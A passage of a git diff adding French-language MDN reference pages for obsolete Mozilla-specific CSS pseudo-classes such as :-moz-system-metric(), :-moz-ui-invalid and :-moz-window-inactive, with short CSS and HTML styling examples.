+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-broken")}}</li>
+ <li>{{cssxref(":-moz-loading")}}</li>
+ <li>{{cssxref(":-moz-user-disabled")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/images-in-menus/index.html b/files/fr/web/css/_colon_-moz-system-metric/images-in-menus/index.html
new file mode 100644
index 0000000000..dba93df04b
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/images-in-menus/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-system-metric(images-in-menus)'
+slug: 'Web/CSS/:-moz-system-metric/images-in-menus'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/images-in-menus'
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{Fx_minversion_header(3)}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(images-in-menus)</code></strong> correspond à un élément si l'interface utilisateur de l'ordinateur utilisée permet d'utiliser des images dans les menus.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.images-in-menus")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/index.html b/files/fr/web/css/_colon_-moz-system-metric/index.html
new file mode 100644
index 0000000000..75e34f4f90
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/index.html
@@ -0,0 +1,39 @@
+---
+title: ':-moz-system-metric()'
+slug: 'Web/CSS/:-moz-system-metric'
+tags:
+  - CSS
+  - Non-standard
+  - Obsolete
+  - Pseudo-classe
+translation_of: 'Archive/Web/CSS/:-moz-system-metric'
+---
+<p>{{CSSRef}}{{Draft}}{{Non-standard_Header}}{{Obsolete_Header("gecko58")}}</p>
+
+<p>{{wiki.localize("System.API.page-generated-for-subpage")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur le Web. Elle ne peut être utilisée que de façon interne (pour du chrome ou du code XUL). Voir {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("@media")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/mac-graphite-theme/index.html b/files/fr/web/css/_colon_-moz-system-metric/mac-graphite-theme/index.html
new file mode 100644
index 0000000000..fb3013b14f
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/mac-graphite-theme/index.html
@@ -0,0 +1,35 @@
+---
+title: ':-moz-system-metric(mac-graphite-theme)'
+slug: 'Web/CSS/:-moz-system-metric/mac-graphite-theme'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/mac-graphite-theme'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <code>:-moz-system-metric(mac-graphite-theme)</code> correspond à un élément si l'utilisateur a sélectionné l'apparence <em>Graphite</em> dans l'écran des préférences système de Mac OS X.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.mac-graphite-theme")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Bug(448767)}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/scrollbar-end-backward/index.html b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-end-backward/index.html
new file mode 100644
index 0000000000..d5ff5941e3
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-end-backward/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-system-metric(scrollbar-end-backward)'
+slug: 'Web/CSS/:-moz-system-metric/scrollbar-end-backward'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-end-backward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(scrollbar-end-backward)</code></strong> correspond à un élément si l'interface utilisateur de l'ordinateur inclut un bouton de recul à la fin des barres de défilement.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.scrollbar-end-backward")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/scrollbar-end-forward/index.html b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-end-forward/index.html
new file mode 100644
index 0000000000..abc2ef8c2e
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-end-forward/index.html
@@ -0,0 +1,27 @@
+---
+title: ':-moz-system-metric(scrollbar-end-forward)'
+slug: 'Web/CSS/:-moz-system-metric/scrollbar-end-forward'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-end-forward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(scrollbar-end-forward)</code></strong> correspond à un élément si l'interface utilisateur de l'ordinateur inclut un bouton d'avancement à la fin des barres de défilement.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.scrollbar-end-forward")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/scrollbar-start-backward/index.html b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-start-backward/index.html
new file mode 100644
index 0000000000..19c645904f
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-start-backward/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-system-metric(scrollbar-start-backward)'
+slug: 'Web/CSS/:-moz-system-metric/scrollbar-start-backward'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-start-backward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(scrollbar-start-backward)</code></strong> correspond à un élément si l'interface utilisateur de l'ordinateur utilisé inclut un bouton avec une flèche vers le bas à la fin des barres de défilement.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.scrollbar-start-backward")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/scrollbar-start-forward/index.html b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-start-forward/index.html
new file mode 100644
index 0000000000..a6cc78db85
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-start-forward/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-system-metric(scrollbar-start-forward)'
+slug: 'Web/CSS/:-moz-system-metric/scrollbar-start-forward'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-start-forward'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(scrollbar-start-forward)</code></strong> correspond à un élément si l'interface utilisateur de l'ordinateur inclue une flèche pour remonter au début des barres de défilement.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.scrollbar-start-forward")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/scrollbar-thumb-proportional/index.html b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-thumb-proportional/index.html
new file mode 100644
index 0000000000..14c1511f98
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/scrollbar-thumb-proportional/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-system-metric(scrollbar-thumb-proportional)'
+slug: 'Web/CSS/:-moz-system-metric/scrollbar-thumb-proportional'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/scrollbar-thumb-proportional'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(scrollbar-thumb-proportional)</code></strong> correspondra à un élément si l'interface utilisateur de l'ordinateur utilise des curseurs de barre de défilement proportionnels à la taille de la zone visible du document à l'écran.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.scrollbar-thumb-proportional")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/touch-enabled/index.html b/files/fr/web/css/_colon_-moz-system-metric/touch-enabled/index.html
new file mode 100644
index 0000000000..4b48986029
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/touch-enabled/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-system-metric(touch-enabled)'
+slug: 'Web/CSS/:-moz-system-metric/touch-enabled'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/touch-enabled'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(touch-enabled)</code></strong> correspondra à un élément si l'appareil sur lequel il est affiché est une interface tactile.</p>
+
+<div class="note"><strong>Note :</strong> Cette pseudo-classe n'est pas destinée à être utilisée sur le Web. Pour cela, on privilégiera la requête média {{cssxref("-moz-touch-enabled")}}.</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.touch-enabled")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-system-metric/windows-default-theme/index.html b/files/fr/web/css/_colon_-moz-system-metric/windows-default-theme/index.html
new file mode 100644
index 0000000000..ae0eaf8806
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-system-metric/windows-default-theme/index.html
@@ -0,0 +1,69 @@
+---
+title: ':-moz-system-metric(windows-default-theme)'
+slug: 'Web/CSS/:-moz-system-metric/windows-default-theme'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Archive/Web/CSS/:-moz-system-metric/windows-default-theme'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-system-metric(windows-default-theme)</code></strong> correspond à un élément si l'utilisateur utilise l'un des thèmes Windows suivant : Luna, Royale, Zune ou Aero (c'est-à-dire Vista Basic, Vista Standard ou Aero Glass). Les thèmes Windows classiques et les thèmes tiers sont exclus.</p>
+
+<p>Ce sélecteur est principalement destiné aux développeurs de thèmes.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette pseudo-classe n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#defaultThemes,
+#nonDefaultThemes {
+  background-color: #FFA0A0;
+}
+
+#defaultThemes:-moz-system-metric(windows-default-theme) {
+  background-color: #A0FFA0;
+}
+
+#nonDefaultThemes:not(-moz-system-metric(windows-default-theme)) {
+  background-color: #A0FFA0;
+}
+
+#notSupported:-moz-system-metric(windows-default-theme),
+#notSupported:not(:-moz-system-metric(windows-default-theme)) {
+  display: none;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="defaultThemes"&gt;
+  Ce paragraphe devrait avoir un fond vert avec les thèmes Windows
+  Luna/Royale/Zune/Aero et un fond rouge avec les autres.
+&lt;/p&gt;
+
+&lt;p id="nonDefaultThemes"&gt;
+  Ce paragraphe devrait avoir un fond vert avec with Windows Classic
+  ou avec un thème tiers ou un fond rouge pour les autres.
+&lt;/p&gt;
+
+&lt;p id="notSupported"&gt;La détection des thèmes n'est pas prise en charge.&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 170)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-system-metric.windows-default-theme")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-ui-invalid/index.html b/files/fr/web/css/_colon_-moz-ui-invalid/index.html
new file mode 100644
index 0000000000..5f29e0f90f
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-ui-invalid/index.html
@@ -0,0 +1,50 @@
+---
+title: ':-moz-ui-invalid'
+slug: 'Web/CSS/:-moz-ui-invalid'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:user-invalid'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-ui-invalid</code></strong> représente n'importe quel élément de formulaire dont la valeur est invalide selon <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation">ses contraintes de validation</a>.</p>
+
+<p>Cette pseudo-classe est appliquée d'après les règles suivantes :</p>
+
+<ul>
+ <li>Si le contrôle n'a pas le focus et que cette valeur est invalide, la pseudo-classe est appliquée.</li>
+ <li>Si le contrôle a le focus et que la valeur était valide (même si elle était vide) lorsque le focus a été obtenu, la pseudo-classe n'est pas appliquée.</li>
+ <li>Si le contrôle a le focus et que la valeur était invalide lorsque le focus a été obtenu, on revalide le contenu à chaque frappe.</li>
+ <li>Si l'élément est obligatoire, les règles précédentes ne s'appliquent que si l'utilisateur a modifié la valeur ou tenté de soumettre le formulaire.</li>
+</ul>
+
+<p>Si le contrôle était valide au moment où l'utilisateur a commencé à l'utiliser, la mise en forme liée à la validité est uniquement modifiée lorsque l'utilisateur interagit avec un autre contrôle. Toutefois, si l'utilisateur tente de corriger une valeur invalide, le contrôle indique immédiatement lorsque celle-ci devient valide. Les éléments obligatoires sont considérés comme invalides uniquement si l'utilisateur les modifie ou essaie de soumettre une valeur invalide non-modifiée.</p>
+
+<p>Par défaut, Gecko applique un style qui crée un halo rouge (grâce à {{cssxref("box-shadow")}}) autour des éléments avec cette pseudo-clésse. Pour un exemple illustrant comment surcharger le style par défaut, on pourra utiliser la pseudo-classe {{cssxref(":invalid")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-ui-invalid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":valid")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+ <li>{{cssxref(":-moz-ui-valid")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-ui-valid/index.html b/files/fr/web/css/_colon_-moz-ui-valid/index.html
new file mode 100644
index 0000000000..264a7f1a3a
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-ui-valid/index.html
@@ -0,0 +1,44 @@
+---
+title: ':-moz-ui-valid'
+slug: 'Web/CSS/:-moz-ui-valid'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-ui-valid'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-ui-valid</code></strong> représente n'importe quel élément de formulaire dont la valeur est valide selon <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation">ses contraintes de validation</a>.</p>
+
+<p>Cette pseudo-classe est appliquée d'après les règles suivantes :</p>
+
+<ul>
+ <li>Si le contrôle n'a pas le focus et que cette valeur est valide, la pseudo-classe est appliquée.</li>
+ <li>Si le contrôle a le focus et que la valeur était valide (même si elle était vide) lorsque le focus a été obtenu, la pseudo-classe est appliquée.</li>
+ <li>Si le contrôle a le focus et que la valeur était invalide lorsque le focus a été obtenu, on revalide le contenu à chaque frappe.</li>
+ <li>Si l'élément est obligatoire, les règles précédentes ne s'appliquent que si l'utilisateur a modifié la valeur ou tenté de soumettre le formulaire.</li>
+</ul>
+
+<p>Si le contrôle était valide au moment où l'utilisateur a commencé à l'utiliser, la mise en forme liée à la validité est uniquement modifiée lorsque l'utilisateur interagit avec un autre contrôle. Toutefois, si l'utilisateur tente de corriger une valeur invalide, le contrôle indique immédiatement lorsque celle-ci devient valide. Les éléments obligatoires sont considérés comme invalides uniquement si l'utilisateur les modifie ou essaie de soumettre une valeur invalide non-modifiée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.-moz-ui-valid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":valid")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+ <li>{{cssxref(":-moz-ui-invalid")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-user-disabled/index.html b/files/fr/web/css/_colon_-moz-user-disabled/index.html
new file mode 100644
index 0000000000..7890fbdca6
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-user-disabled/index.html
@@ -0,0 +1,38 @@
+---
+title: ':-moz-user-disabled'
+slug: 'Web/CSS/:-moz-user-disabled'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-user-disabled'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe CSS</a> <code>:-moz-user-disabled</code> correspond aux  éléments représentant des images qui n'ont pas été chargées car elles ont été entièrement désactivées dans les préférences de l'utilisateur.</p>
+
+<p>Ce sélecteur est destiné principalement à une utilisation par les développeurs de thèmes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:-moz-user-disabled</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">:-moz-user-disabled {
+  background-color: lightgray;
+  padding: 8px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":-moz-broken")}}</li>
+ <li>{{cssxref(":-moz-loading")}}</li>
+ <li>{{cssxref(":-moz-suppressed")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-window-inactive/index.html b/files/fr/web/css/_colon_-moz-window-inactive/index.html
new file mode 100644
index 0000000000..dc20549d2b
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-window-inactive/index.html
@@ -0,0 +1,53 @@
+---
+title: ':-moz-window-inactive'
+slug: 'Web/CSS/:-moz-window-inactive'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-window-inactive'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-window-inactive</code></strong>, spécifique à Mozilla, correspond à n'importe quel élément qui se trouve sur une fenêtre inactive.</p>
+
+<div class="note"><strong>Note :</strong> Avant l'existence de cette pseudo-classe, on pouvait donner des styles différents aux fenêtres avec l'attribut <code>active="true"</code> sur la fenêtre XUL de plus haut niveau. Cet attribut n'est plus utilisé.</div>
+
+<p><code>:-moz-window-inactive</code> fonctionne également pour le contenu des documents HTML.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple illustre la modification de l'apparence de l'arrière-plan d'une boîte selon que la fenêtre est active ou non.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#maboite {
+  background: linear-gradient(to bottom, blue, cyan);
+}
+
+#maboite:-moz-window-inactive {
+  background: cyan;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="maboite" style="width:200px; height:200px;"&gt;
+  &lt;p&gt;Une boîte :)&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","220","220")}}</p>
+
